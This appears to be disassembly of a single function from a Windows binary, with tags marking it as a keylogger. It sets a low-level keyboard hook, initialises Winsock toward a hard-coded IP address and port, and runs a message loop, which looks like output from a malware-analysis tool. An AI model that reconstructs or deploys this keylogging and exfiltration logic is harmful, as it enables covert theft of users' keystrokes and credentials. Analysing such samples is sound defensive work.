Function at 0x140001390
Capabilities:
Initialize winsock library
Log keystrokes via application hook

Disassembly:
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140009008]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r8d, 0xa
lea rcx, [0x1400099a8]
call fcn.1400028f0
xor r8d, r8d
test rax, rax
mov rax, qword [0x1400099a0]
movsxd rcx, dword [rax + 4]
lea rax, [0x1400099a0]
jne 0x1400013ed
add rcx, rax
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x1400013f8
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor r9d, r9d
lea rdx, [0x140001690]
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, rax
mov qword [0x140009990], rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140002d90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x202
lea rdx, [rbp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, str.95.24.63.81
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x63dd
call qword [sym.imp.WS2_32.dll_htons]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140005608]
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x30], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rsp + 0x40]
xor r8d, r8d
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp - 0x44], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov byte [rbp - 0x4f], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x140009ab0]
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x4c], rax
lea r8d, [rcx + 1]
lea rcx, [rsp + 0x40]
call fcn.1400028f0
xor r8d, r8d
test rax, rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
jne 0x140001535
add rcx, rax
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140001540
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
cmp byte [0x140009034], 0
je 0x14000157e
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x40]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140009034], 0
jne 0x140001550
lea rcx, [rsp + 0x30]
call fcn.1400015b0
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1400031f0
add rsp, 0x320
pop rbp
ret